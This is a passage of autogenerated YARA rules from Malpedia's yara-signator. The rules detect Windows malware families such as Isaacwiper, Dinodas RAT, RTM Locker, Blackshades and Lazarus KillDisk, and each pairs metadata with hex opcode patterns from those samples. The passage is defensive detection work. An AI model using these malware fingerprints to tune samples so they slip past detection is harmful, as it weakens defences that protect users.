		$sequence_6 = { 6830010000 e8???????? 33db 59 59 3bc3 7509 }
		$sequence_7 = { e8???????? 8b5e04 8b0e 8bc3 2bc1 99 f7ff }
		$sequence_8 = { 8b45ec 8b08 890b 8938 397df0 740a 57 }
		$sequence_9 = { e8???????? 6a01 33ff 8d75d8 e8???????? 8b450c 8b4df4 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Isaacwiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a82e3ec4-c6b5-5b3d-9ab0-3064ec3e836c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isaacwiper_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "8d7d093defd2064582c177175fbd158891b23ac1a28e0ebb5ab5f45a7b73a475"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bc8 737f 2bf9 8b4c2430 3bcf 0f8245020000 }
		$sequence_1 = { 03c2 3bc3 8b5df4 72d5 eb37 83f802 }
		$sequence_2 = { 83e03f c1f906 6bf038 03348de8670310 837e18ff 740c 837e18fe }
		$sequence_3 = { 83c408 3bc3 8d48ff 0f46c1 014658 837e5815 7368 }
		$sequence_4 = { 8b03 51 c744243007000000 8bcb 7445 ff501c 8d442430 }
		$sequence_5 = { 50 c7460800000000 c7461000000000 c7461400000000 e8???????? 83c404 }
		$sequence_6 = { 3914c598c00210 7408 40 83f81d }
		$sequence_7 = { e8???????? 8ac8 83c404 46 83c768 84c9 75e4 }
		$sequence_8 = { 8b4d0c 83d900 8945e0 894ddc c745f800000000 897dd8 895df4 }
		$sequence_9 = { 69c9dfb00899 33ca 338c8634060000 890c86 40 3de3000000 72cf }
	condition:
		7 of them and filesize < 467968
}

rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "431aac36-5429-5cb6-a22f-6d22f4b46964"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dinodas_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dinodas_rat_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "f12d1a523704ecc621dca1f8d26285a0bb3fbc82969aec41d1e0b2ffd38a67b5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf0 33c9 83c404 8975ec 3bf1 745c 8b4704 }
		$sequence_1 = { ffd2 8b9d94fdffff 8d8da0fdffff 51 53 ff15???????? }
		$sequence_2 = { c745a80f000000 e8???????? c645fc01 a1???????? 6aff 50 ff15???????? }
		$sequence_3 = { 8d45b4 e9???????? 8d45a8 e9???????? 8d75d4 e9???????? 8d75b8 }
		$sequence_4 = { 6a00 6a01 ff15???????? 8bf8 85ff 741a 6a00 }
		$sequence_5 = { 8d4d9c 68???????? 51 e8???????? 83c40c 397594 720c }
		$sequence_6 = { 8bce 8bf3 83f804 7217 8d4900 8b16 3b11 }
		$sequence_7 = { 8b4204 ffd0 8b4d0c 51 e8???????? 83c404 8937 }
		$sequence_8 = { 83e810 e8???????? 8d7010 8975c4 c645fc07 8b4714 }
		$sequence_9 = { 8d75b8 e9???????? 8d759c e9???????? 8db578ffffff e9???????? 8db548ffffff }
	condition:
		7 of them and filesize < 638976
}

rule MALPEDIA_Win_Rtm_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c193efe6-e068-5098-a7d3-9f677c141047"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rtm_locker_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "2e6ca0dcb3b2e786645310d69deee5d15ea048d4739b56fdd6e98df960bfefa8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ffd7 8b44241c 8d542410 52 8d542424 c744241400000000 }
		$sequence_1 = { 8bbd38ffffff 33d0 c1c210 03ca 33f1 c1c60c }
		$sequence_2 = { 0f29a424b0000000 660fd4c1 0f28e2 0f29b42410010000 660f62e0 660f6ad0 }
		$sequence_3 = { 8d85e8feffff 50 6a00 ff15???????? 85c0 7440 68???????? }
		$sequence_4 = { 8d8550fcffff 50 8d95c8feffff 8d8d68ffffff e8???????? 83c404 8d8d68ffffff }
		$sequence_5 = { 0f1195ecfdffff 0f119dfcfdffff 0f11a50cfeffff 0f11851cfeffff 660f1f440000 8b840d2cfeffff 01840d64fcffff }
		$sequence_6 = { 57 660f1f440000 3a1a 7403 42 }
		$sequence_7 = { 0f108560feffff 0f118570fdffff 0f108570feffff 0f118580fdffff e8???????? 8d8d30feffff e8???????? }
		$sequence_8 = { 894590 33fe c1c708 8d040f 8945ec 33c2 }
		$sequence_9 = { 8b4dec 48 897dfc 897db8 894508 85c0 0f8f3ffeffff }
	condition:
		7 of them and filesize < 598016
}

rule MALPEDIA_Win_Cameleon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6ba1f947-7c11-5a6f-94b1-6f9ed842ec2b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cameleon_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "5126d39a589ca456705b9580398901c26a625f6b65ede04aeb5951f2fdaf02c8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7de0 85f6 0f8567ffffff 83ff20 0f83a8000000 83c8ff 2bc7 }
		$sequence_1 = { 3975d4 7347 52 56 8d4dc0 }
		$sequence_2 = { c3 e8???????? 85c0 0f843aa70000 c3 833d????????ff 7503 }
		$sequence_3 = { c745ecd88e0210 894df8 8945fc 64a100000000 8945e8 }
		$sequence_4 = { 83f924 7d10 8a80f8c70410 8807 47 }
		$sequence_5 = { 8b45b8 8b11 03c6 50 56 8d450c 50 }
		$sequence_6 = { 253bffffff 33f6 3bc8 740c 8b0cb584bf0410 46 85c9 }
		$sequence_7 = { 7405 e8???????? a900000080 751f d9fa 833d????????00 0f85037f0000 }
		$sequence_8 = { 2bc1 83f808 0f86bc000000 8d7108 83fefe }
		$sequence_9 = { e8???????? 8d8d04ffffff e8???????? 8d4d8c e8???????? 8d4da4 }
	condition:
		7 of them and filesize < 824320
}

rule MALPEDIA_Win_Blackshades_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "be0044cc-ffdd-5ce8-9261-6f20deb49ec5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackshades_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "5be1fd8de19e4a88da957f4843427153e72a697b528878c27f4d0e3032429536"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff9e0460ff34 6c 60 ff0a }
		$sequence_1 = { 08fe f5 0200 0000 6c 70ff 9e }
		$sequence_2 = { 70ff f30004eb f4 02eb fb cf }
		$sequence_3 = { 351cff1e55 2c00 0d6c04ff1b c700fb301cc9 }
		$sequence_4 = { 58 2f 60 ff6c74ff }
		$sequence_5 = { 2a23 60 ff1b 0d002a460c fff5 0200 0000 }
		$sequence_6 = { 6c ff4a71 70ff 00746c78 ff1b }
		$sequence_7 = { 6c ff4a71 70ff 00746c78 ff1b 4a }
		$sequence_8 = { ff6c48ff 6c 4c ff40fc }
		$sequence_9 = { ff1b 0d002a460c fff5 0200 0000 6c }
	condition:
		7 of them and filesize < 999424
}

rule MALPEDIA_Win_Homefry_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7d35e8c-e0c5-5ba6-b2d4-e95c77830765"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.homefry_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "3f2d14189cc000f371864eda6ce01209469d1d59387364413aee3876a7479356"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4157 4883ec20 4c8b7908 0fb701 4d8bf0 410fb61f 4c8bda }
		$sequence_1 = { c744246038020000 ff15???????? 85c0 751d }
		$sequence_2 = { 410fb61f 4c8bda 83f801 7623 }
		$sequence_3 = { 488905???????? ff15???????? 488b0d???????? 448b4c2470 4c8b05???????? 488b15???????? }
		$sequence_4 = { ffd5 85c0 0f8860010000 488b0d???????? 458d4e20 4c8d05480f0000 488b09 }
		$sequence_5 = { e9???????? 480578ffffff 833d????????06 488905???????? }
		$sequence_6 = { 751c 488d0d8f060000 488b742440 488b7c2448 4883c420 415e }
		$sequence_7 = { 7343 0f1f8000000000 4983c9ff 488bd7 488bcb }
		$sequence_8 = { 488917 48630a 4883c104 4803ca 48890f }
		$sequence_9 = { 742e 48ffc3 483bdd 72d0 488bcf ff15???????? 33c0 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Cloudwizard_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "abbdc257-eb7b-5dbc-b89d-fa521addbb7b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudwizard_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "73a241c1b717ddfac0eb8392f69e9bf260621defdb3bc053842ea74bc39dad65"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4802 668b38 40 40 6685ff }
		$sequence_1 = { d1f8 51 8d844618060000 50 e8???????? bf???????? 8bc7 }
		$sequence_2 = { 57 50 e8???????? 8d4570 83c40c }
		$sequence_3 = { 8bc6 8975ec e8???????? ff750c 8b06 ff7508 8bce }
		$sequence_4 = { 6a5a 58 6a5d 66894544 }
		$sequence_5 = { 58 6a44 668945a8 58 6a1b }
		$sequence_6 = { 8986fc010000 897e70 c686c800000043 c6864b01000043 c7466838d54000 }
		$sequence_7 = { 58 6a49 668945e4 58 668945e6 6a5d 58 }
		$sequence_8 = { c645cf4a c645d044 c645d14d c645d27f 885dd3 8d45bc 59 }
		$sequence_9 = { 8bce ff5010 6a04 33d2 59 }
	condition:
		7 of them and filesize < 134144
}

rule MALPEDIA_Win_Ktlv_Door_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6e065a03-91ac-5e12-9f0d-2a07114a6941"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ktlv_door"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ktlv_door_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "7086a37fac571e3e072f3722403d024774dd0aed3f77f3425014c9e7e0c7108d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffc2 85d2 7d10 488d053ed25900 31db 31c9 e8???????? }
		$sequence_1 = { eb0e 488d3d1a475800 6690 e8???????? 488d0594b92c00 e8???????? 48c7400836000000 }
		$sequence_2 = { eb25 488b8424a00c0000 4889c3 488d8c24780a0000 0f1f4000 e8???????? 488b542430 }
		$sequence_3 = { eb11 488d7818 488b8c2440080000 e8???????? 48c7400810000000 488d0da4e81900 488908 }
		$sequence_4 = { ffd0 488bac24c8010000 4881c4d0010000 c3 48899c2450020000 48898c2458020000 c644243700 }
		$sequence_5 = { eb0c 488d3d9bba4000 e8???????? 488b0d???????? 48898c2458050000 488d05800f1700 e8???????? }
		$sequence_6 = { eb0d 488bbc24a8000000 e8???????? 4889c6 4889d9 488b842490000000 488b5c2460 }
		$sequence_7 = { eb0e 488d7818 488b4c2418 e8???????? 4889c3 488d05371d3d00 488b6c2428 }
		$sequence_8 = { eb11 488d7838 488b8c24e8010000 e8???????? 488d0d529c2900 4889c2 4889842400010000 }
		$sequence_9 = { e8???????? 440f11bc24e0010000 440f11bc24f0010000 488b8c24e0000000 48898c24e0010000 488b8c24c8010000 48898c24e8010000 }
	condition:
		7 of them and filesize < 14630912
}

rule MALPEDIA_Win_Kasperagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5bc59f22-b9b3-5766-9e08-5c129dbebf50"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kasperagent_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "8d5948eeb8ffe48e5f1f32cc1b2e0326c959eb92c3d2c7a0786033f96cdcbcd0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd0 c645fc03 8b45bc 83c0f0 8d480c 83caff }
		$sequence_1 = { 83c002 47 3bce 75eb 8bc3 3b5c2410 }
		$sequence_2 = { 84db 7524 8b4500 83e810 ba01000000 }
		$sequence_3 = { 663b54243a 7516 668b460c 663b44243c 750b b801000000 5f }
		$sequence_4 = { 0fb74c2418 81c26c070000 40 668916 }
		$sequence_5 = { 2bc6 0bd0 b301 7d08 56 8bcd e8???????? }
		$sequence_6 = { 56 57 33ff 66837c24182d 897c2414 7472 }
		$sequence_7 = { 89442408 8d742410 8d442408 c7470800000000 }
		$sequence_8 = { ff500c 837d0800 75cc 5b 5d c20400 8bff }
		$sequence_9 = { 57 56 ff15???????? 33c9 894c2430 894c2434 894c2438 }
	condition:
		7 of them and filesize < 1605632
}

rule MALPEDIA_Win_Bouncer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d675a9d0-d309-5a64-9b07-233609ff1237"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bouncer_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "ef61499d69e0696c4532f64e6ff2b982da08dae26c600412b066491c2f5e5346"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8441050000 50 ff75fc e8???????? 59 59 }
		$sequence_1 = { 8b85b4feffff 48 3bc8 731b }
		$sequence_2 = { 50 ff15???????? 8d85a4fdffff c645dc17 50 e8???????? 83c414 }
		$sequence_3 = { c3 55 8bec 83ec24 56 8b750c }
		$sequence_4 = { 53 8b5d10 56 57 8b7d0c 7410 a0???????? }
		$sequence_5 = { 8bd8 3bde 7d13 68???????? ff15???????? }
		$sequence_6 = { 56 56 ff15???????? 8d859cf6ffff 50 8d859cf8ffff 68???????? }
		$sequence_7 = { 50 ff15???????? 83c40c eb2e ff7508 ff15???????? }
		$sequence_8 = { 7e33 8d85f4feffff 50 56 e8???????? 85c0 7422 }
		$sequence_9 = { 3bc6 59 a3???????? 750c 50 ff15???????? }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Murkytop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "09dd87b2-848c-59f6-89b2-09fd740bcdeb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.murkytop_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "d0c9a9dcefc5b4fab8d861110dfc72a07f2978208e468d91616835a5f37c61c4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc6 c1f805 57 83e61f 8d3c85e0f54100 8b07 }
		$sequence_1 = { 0f8827040000 8b5d08 8d7dec e8???????? 85c0 0f8814040000 6803010000 }
		$sequence_2 = { 50 68???????? e8???????? 8b45fc 8b4868 51 }
		$sequence_3 = { 8b4de8 51 68???????? e8???????? 8b55f0 }
		$sequence_4 = { 3bc6 7377 8bce e8???????? c745fc00000000 }
		$sequence_5 = { 50 68???????? e8???????? 8b45fc 8b4824 51 e8???????? }
		$sequence_6 = { 7551 8b4d08 85c9 745e 8b7918 b889888888 f7ef }
		$sequence_7 = { 3bc7 7629 8bcf 8bd1 d1ea beffffff3f 2bf2 }
		$sequence_8 = { b902000000 66894dc4 53 ff15???????? 668945c6 }
		$sequence_9 = { 3c69 7404 3c49 757f c645fa01 e9???????? c645fe01 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Plead_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea1e32f2-faad-594a-a682-0f661211cc9b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plead_auto.yar#L1-L223"
		license_url = "N/A"
		logic_hash = "e24e1751ade86b382e488f87af3eb86584ff682352dde27167e20cbed17a20c8"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 897d14 e8???????? 83c40c 8d4514 }
		$sequence_1 = { 8b4514 56 881c30 ff15???????? }
		$sequence_2 = { 40 50 6a01 ff15???????? 83c40c }
		$sequence_3 = { 90 0145fc ff75fc ff15???????? }
		$sequence_4 = { 53 6a05 ff7508 ff15???????? }
		$sequence_5 = { 3bf7 740f ebda 33f6 }
		$sequence_6 = { 50 8b4518 03c6 57 }
		$sequence_7 = { ebda 33f6 c745fcf8ffffff 3bf7 750c 895dfc }
		$sequence_8 = { 40 49 8975fc 75ec 8bc6 5e }
		$sequence_9 = { 81c900ffffff 41 85c9 7e1c 55 }
		$sequence_10 = { 33c0 81c418020000 c21000 8b84241c020000 6a00 6a00 6801020000 }
		$sequence_11 = { 50 ff15???????? 33c0 81c418020000 }
		$sequence_12 = { 7cf1 ffd3 8b35???????? 2bc7 3de8030000 760f }
		$sequence_13 = { 8844341c 46 3bf1 7cf1 }
		$sequence_14 = { c145fc05 8b75fc 33d2 8a10 03f2 40 }
		$sequence_15 = { 6804010000 ff15???????? 8b4c2412 8b54240e 8b44240c }
		$sequence_16 = { 648b1530000000 8b520c 8b521c 8b5a08 }
		$sequence_17 = { eb02 8bfa 8955f4 897df0 }
		$sequence_18 = { 8dbd00ffffff 33db 891f 0fb602 42 }
		$sequence_19 = { 85c0 750f 6800800000 6a00 ff75f8 ff5648 eb0d }
		$sequence_20 = { d3e0 f7c200000004 7403 80cc02 }
		$sequence_21 = { 75f1 5e 8b4624 03c3 668b1450 }
		$sequence_22 = { 8b562c c7048a00000000 8b7df0 8b07 }
		$sequence_23 = { 8b4510 40 c1c803 ab 3bef }
	condition:
		7 of them and filesize < 8224768
}

rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "51d8d349-628d-5955-8390-6050e3d90319"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazarus_killdisk_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "0f1cb10726a24b0f5193b1d9b38bf0914806bbc39c92530769ca658a86bfb258"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d48e0 80f93f 7706 0fbec0 83c020 }
		$sequence_1 = { 56 ffd7 4b 75ea 56 ff15???????? }
		$sequence_2 = { 7438 8d55f0 52 68???????? }
		$sequence_3 = { 57 8d4c242c 68???????? 51 e8???????? }
		$sequence_4 = { 8d4402ff 0fa4c109 6a00 894df4 8d4df4 c1e009 }
		$sequence_5 = { 6a00 8d85e0fdffff 50 6800020000 }
		$sequence_6 = { 6a00 6800000002 ffd3 8bf0 83feff }
		$sequence_7 = { eb08 8d5de8 e8???????? 8b85e4fdffff 40 83c610 8985e4fdffff }
		$sequence_8 = { 8d75a6 8b06 8b4e08 8b560c 8945e8 }
		$sequence_9 = { ffd7 85c0 7424 68???????? 8d95e4feffff 52 }
	condition:
		7 of them and filesize < 209920
}

rule MALPEDIA_Win_Snowflake_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f7453706-1ba2-5bd7-a0a7-c5c6de296895"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snowflake_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c1c0789100e95962556dcffebd1be08f13443b80c1f6c738a94979e3119de2a7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff750c 6a5c 53 e8???????? 8b6c2448 56 ff7504 }
		$sequence_1 = { ff742428 e8???????? 83c414 eb88 3dab000000 7530 837c243400 }
		$sequence_2 = { ff3408 ff742444 e8???????? 8b7c2440 83c414 89442410 85c0 }
		$sequence_3 = { e8???????? 59 59 8b4c243c 85c9 7409 51 }
		$sequence_4 = { ff7640 e8???????? 83c42c 85c0 7533 6a08 8d442418 }
		$sequence_5 = { ff742444 ff742440 50 e8???????? 8bf0 83c414 85f6 }
		$sequence_6 = { c744240c01000000 eb08 3c2b 0f8593000000 46 8a0e 0fb6c1 }
		$sequence_7 = { e8???????? 59 59 85c0 7507 8b4510 2138 }
		$sequence_8 = { c744240800000000 29f1 89c6 1b7c2414 f7de c1fe1f 01f1 }
		$sequence_9 = { ff743234 ff7524 ff742428 53 e8???????? 8b542428 83c414 }
	condition:
		7 of them and filesize < 6196224
}

rule MALPEDIA_Win_Global_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "84b4cf5c-c55a-5774-ae7f-5489c60753fa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.global"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.global_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "09a9ad56bfef0ecdecd0c2b9ffb27931c564f59791efd5813a14ce69fded76ce"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b44243c 8d1c2a 8d341f 03c6 89442468 }
		$sequence_1 = { 899634100000 8b54be3c c1c80a c1ca17 33d0 8b8610100000 c1c808 }
		$sequence_2 = { 807e1400 7507 8bce e8???????? 8b5e0c 8b7730 }
		$sequence_3 = { 8bc2 c1e808 884306 884b03 885307 8b4d08 8bc1 }
		$sequence_4 = { 23cb 23ce 03c9 c1f91f 23ca 8b54242c c1fa1f }
		$sequence_5 = { 6a01 51 e8???????? 8b8c2430020000 8bc6 5f 5e }
		$sequence_6 = { 7412 8b4c2434 ff7108 57 50 e8???????? 83c40c }
